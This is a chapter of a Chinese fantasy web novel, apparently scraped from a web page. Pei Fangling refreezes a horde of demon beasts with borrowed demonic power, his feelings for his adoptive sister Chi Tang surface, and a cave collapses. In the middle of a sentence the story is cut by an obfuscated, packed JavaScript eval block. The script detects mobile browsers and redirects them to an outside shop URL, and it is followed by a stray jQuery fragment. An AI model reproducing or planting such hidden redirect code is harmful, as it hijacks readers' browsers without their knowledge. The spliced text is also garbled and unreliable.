“死于道义倒是很多君子向往的事情。”裴方翎两只手拢在袖子中。
池棠看着他一副装出来的儒雅模样,气得想要磨牙。
阴阳怪气道:“哎哟,我怎么从来不知道你还有个做君子的梦想啊。”
“突然间有的。”
“......别扯了。”池棠声音沉下来,“你想要干什么?和方才你同乐院长商量的事情有关吗?”
“嗯,姐姐你应该也能听到外面的声音吧,那是肥遗的扈从仇肥,不先搞定他们,我们出不去;就算强行闯出去了,也极有可能导致它们从这里逃出去,光是想想就知道会造成多么惨烈的后果。”
“所以你想要杀掉它们?”
“是挺想的,但是我做不到,就算是北境王、道盟盟主,这些真正的强者也做不到一举杀光众多仇肥,所以我要做的,是重新冰封它们。”
池棠呼吸一窒,良久,她轻轻发出了一声叹息。
“我觉得这个和杀光它们没什么区别。”池棠说,言下之意就是,这压根就是不可能办到的。
裴方翎做不到,裴方翎加慕雪扬也做不到。
“还真是后生可畏。”绯千颇为敬佩地点点头,她本来打算要走的,但是裴方翎惊为天人的话成功引起了她的兴趣,她觉得老大也会觉得有意思。
反正闲着也是闲着,那不妨看看他是怎么冰封妖兽的咯。
池棠能听见绯千的声音,隐晦地瞥了眼,心道什么后生可畏啊,明明和裴方翎看起来差不多大嘛。
她看着裴方翎:“如果失败,你会死吗?”
不知道为什么,死这个字眼一说出来,池棠的心跟着刺痛,恍然间有鼻头一酸就要哇哇大哭的冲动,但她依然绷着脸,让自己看起来好像并没有受到影响。
“不会。”
池棠松了一口气:“那你说什么舍身取义!”
“姐姐,你误会了。我的意思是说,我不会失败。如果我失败了,在这里的所有人都会死,你也会,而我不会让你死在这里,所以我不会失败。”
那一瞬间池棠仿佛被什么钉住了。
他不再看池棠,反手越肩抽出鎏光,充沛的灵力在剑身中横冲直撞,发出阵阵铮鸣。
裴方翎站在石门前,石门紧闭着,他单手撑在上面,立刻感受到外界妖物的冲撞。
是的,它们从来没有离开过。尽管迫于肥遗的威慑,它们不敢跨入主人的领地,但也绝不轻易放过难能可贵的食物,更何况三人中有两人是高能修道者,裴方翎和慕雪扬的血就是最好的补品。
门扉在晃动,风中混杂着婴儿般的嘶喊、黄铜锁碰撞的声音,那是地狱的生息。只要一推开门,那些堪比黄泉恶鬼的东西也许就鱼贯而入,将他们以最快的速度抢走。
裴方翎静静地站着,捕捉混杂声音中微小的异动——那是铃铛的声音。
他嚯地拉开大门,积压到极点的罡风在面前炸裂,将他的衬衣割碎。慕雪扬闪电之间窜至池棠身前,双刀十字交叉,抵挡妖气罡风,金色剑芒欻一声飙过两个女孩身边。她们默契地低头去看,剑已经深深嵌进了冰面。
不偏不倚,正好在肥遗的正上方。
那是乐海的佩剑平风波,剑身上绑着一座小小的朱雀青铜雕像,只有一掌之高。
“那是什么?”池棠在风中大喊。
“是院长的神枢机。”慕雪扬看向裴方翎,终于出现了诧异的表情,“他想要借用肥遗的力量吗?”
“什么?!”池棠以为自己听错了。
什么叫做借用肥遗的力量?这是可以出借的吗!?
平风波直挺挺地插在冰面,浑身金光逐渐为一种荧白的光晕取代,接着,在池棠的注视下,一寸寸冰霜在剑身上蔓延。
肥遗的力量正在被导出,曾经称霸世界的妖王的力量再次出现,就算从来没有见过活的肥遗,池棠和慕雪扬都感到了本能的战栗,那是生物基因里本能的对危险的反应。
慕雪扬搂住池棠的腰,抽身躲入石室隐蔽处。
“这里安全一些。”慕雪扬保持双手拿刀的姿势,“神枢机可以放大力量,裴方翎先用术法从肥遗身上剥离一丝力量,经由神枢机放大,就可以重新把仇肥群冻住。”
“这就是他的计划。”
“这个计划很危险吗?”池棠战战兢兢地靠着慕雪扬,如果可以她恨不得趴到慕大佬身上去,因为此刻她的身边就是绯千。
慕雪扬找到的位子不偏不倚,恰好就在绯千身旁。
也不知这女鬼是有什么毛病,进来了又不杀人又不捣乱,就是一个劲儿地看热闹,还越看越兴奋了。
绯千还没有见过这种场景,她向来很喜欢这种暴力又诡谲的场面,刀身折射出的寒光,挥刀时紧绷的肌肉,喷薄而出的汗水,在她看来就是这天下最完美的艺术品。它证明着人就是如此无所不能!
她蹲在地上,两手交握来回摩擦,看着裴方翎的脊背因为力量冲击紧紧绷住,她也忍不住一阵阵手痒。她敢保证,这充满力量的一剑劈出去绝对爽得让人头皮发麻。
妈啊,这姑娘是不是反社会人格,啊不反社会鬼格啊!看着漫天飞舞的妖怪不害怕甚至越来越兴奋了吗?
风卷残云,各种飞沙走石从大门处灌入,裴方翎的身上被割出一道道细痕。
鎏光在最前方以剑气抵挡妖兽的攻击,神枢机正在将抽出来的力量放大。
裴方翎第一次听说肥遗的名字是在长老们的口中,他们一般会在深夜出现,背着池棠给他恶补各种知识。
肥遗总是一个绕不开的话题,一个一出现总和血腥、暴力、悲剧连在一起的名字。
第一个封印了肥遗的祖先是太爷爷。
镇压肥遗那年,北境圣宫死了近三千人,连太奶奶和两位姑祖也未能幸免于难。
当年的他们是为了天下大义去流血牺牲的,但可惜的是他们的后人并不是一个如此高尚的理由。
裴方翎和池棠说突然有一个想要当君子的梦,其实真是骗她的啦。像他这种撒谎成性,表里不一的家伙怎么可能去当什么君子,更不可能去给什么不相干的人流自己的血。
但有一点他倒是和先祖们不谋而合了,他们同样有不能失败的理由。
对老祖宗们来说,那个理由是天下苍生,对他来说,只是一个人罢了。
神枢机爆发出猛烈的光芒,被成数十倍放大的力量暴冲,箭似地窜入裴方翎身体。
肥遗的力量是纯粹的邪,在裴方翎体内激烈冲突。裴方翎瞳孔以肉眼可见的速度燃烧起来,黑而深邃的眼中似乎有一头猛兽。
面前妖兽汹涌翻滚,他猛得调转鎏光,双手持剑,用力挥舞。
强大的力量从体内传导至剑锋,池棠只来得及看到白光一闪,接着便是猛烈的爆炸。
这是一场难以形容的爆炸,没有一种程度的拟声词是为了这样的场面设计的,除了看见白茫茫的光,听不见任何声音。她冲着慕雪扬大喊什么,却只能看见对方徒然开合的嘴。绯千在爆炸的瞬间兴奋地一跃而起,拍手高呼。
慕雪扬突然跳起,带着池棠往低处滚去,爆炸带来的余波恰好撞在头顶上,两人为彼此挡着头上落石。
“裴方翎不会有事吧!”池棠突然听得见自己的声音了,爆炸结束了,裴方翎迎风站在大门处,任凭风卷动他的衣袂。
池棠眼眶一热,拔腿冲上去。
“裴方翎!你——”没说完的话停在嘴边,她只是朝外看了一眼,瞬间就被攫住了眼睛。
整个走道皆是白茫茫的一片,厚重的坚冰覆盖了一切。已死的、将死、俯冲袭击的妖兽......林林总总,形态各异,全都被重新封冻,停在爆炸的那一秒钟。
裴方翎按下了暂停键,这场屠杀暂时结束了。
池棠握住裴方翎冷冰冰的手,说不出一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825813|209356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话。
裴方翎也没有说话,回握住她。
“我们走,乐院长在等我们。”裴方翎猛得吐出一口血,身体不受控制地往下倒,他想站起来,又再次倒下去。
池棠穿过他的前胸,大声喊道:“雪扬!来帮帮我!”
慕雪扬背着三把刀剑,两步小跑过来,两人一左一右搀住裴方翎。
池棠往前一看,当即说道:“走道被冻得变窄了,咱们左右走不开,你帮我把他放我背上。”
“不行,我太沉了......”裴方翎挣扎着要下来。
池棠怒而大喊:"你没把我当成你姐是吗?!"
裴方翎顿时不敢出声了,慕雪扬三把刀往腰间一绑,顺带捡起地上的鎏光:“我来背吧,我力气很大。”
以前和哥哥在村里住的时候,她能一口气背半扇猪到镇里去卖掉,十五里的山路,不用放下来歇一歇。
池棠摇头:“不,你现在是唯一有战斗力的人了,前面还不知道有什么,你只管带着武器最保险,趁现在不危险了,我们快走。”
池棠说着下意识往绯千的方向去看,却发现她人早不翼而飞。
此时也不是琢磨绯千去哪里的时候了,但愿她不是黄雀在后。
池棠背着裴方翎跟在慕雪扬身后。
裴方翎的计划成功了,一路走来几乎全是被重新冻上的妖兽,他们也没有再受到袭击。
“姐姐你看,我说了我不会失败的。”裴方翎得意地笑着。
“那也不能这么玩命啊,万一你......”池棠声音哽塞,不说了。
裴方翎特意将脑袋贴在池棠脸侧,自然看到了她偷偷抹掉的眼泪。
一时之间他心里五味杂陈。
他本来应该为池棠为他流泪高兴,这证明在池棠的心里,他是很重要重要的人,但感受到的更多是郁闷。
真心喜欢一个人的时候,是绝对不希望看到她哭的。
“我不会有事的。”裴方翎抚摸池棠的头发,“我还想照顾姐姐一辈子呢。”
“别说了。”池棠忽然把自己的头发抽走。
裴方翎怔愣了一瞬:“姐姐?”
“你这些话不应该对一个女子说,尤其不应该对我。”
“我说这些话,是不对的吗?”
对不对,池棠觉得裴方翎自己心里有数。一直以来,他在装傻,而她竟然迟钝到如此地步。
但是谁又敢想,她亲手养大的弟弟,会对她有那种想法。
之前那些小打小闹还可以用小孩子依赖大人来解释,可今日她怎么也不能再骗自己了。
裴方翎不是小孩。
小孩子不会对自己的阿姐说,为了你我不会失败;
更不会说,我要照顾姐姐一辈子这种话。
这不是姐姐和弟弟,这是男人和女人。
池棠面色沉重,不再说话,只是低着头跟着慕雪扬。
“还有多远啊。”
“差不多了。”慕雪扬指着前面,“我们就是从那边进来的。”
不远处就是拱形洞口,地上散布铁片,是他们进入的地方不错。
“太好了!那我们快点走吧!”池棠在这里待得快喘不上气了,只想快点离开。
黑暗的头顶,一块石头悄然松动,哒得一声落在三人身后。
慕雪扬瞬间抽出阳斩挥向池棠头顶,硕大巨石应声碎裂,地面开始剧烈摇晃。
“啊!这是怎么了!”池棠左右摇晃。
慕雪扬盯着穹顶:“要塌,快走!”
她扯过池棠朝着出口疾驰,乐海重新放下来的木板就在前面。
源源不断的落石正在掩盖出口,光源正在消失,从一大片到只剩下一线。
两人牵着手纵身前扑,在触及的最后一刻,光消失了。
更糟糕的是,正在她们头顶的上方,大如棺材盖的岩壁整块脱落了。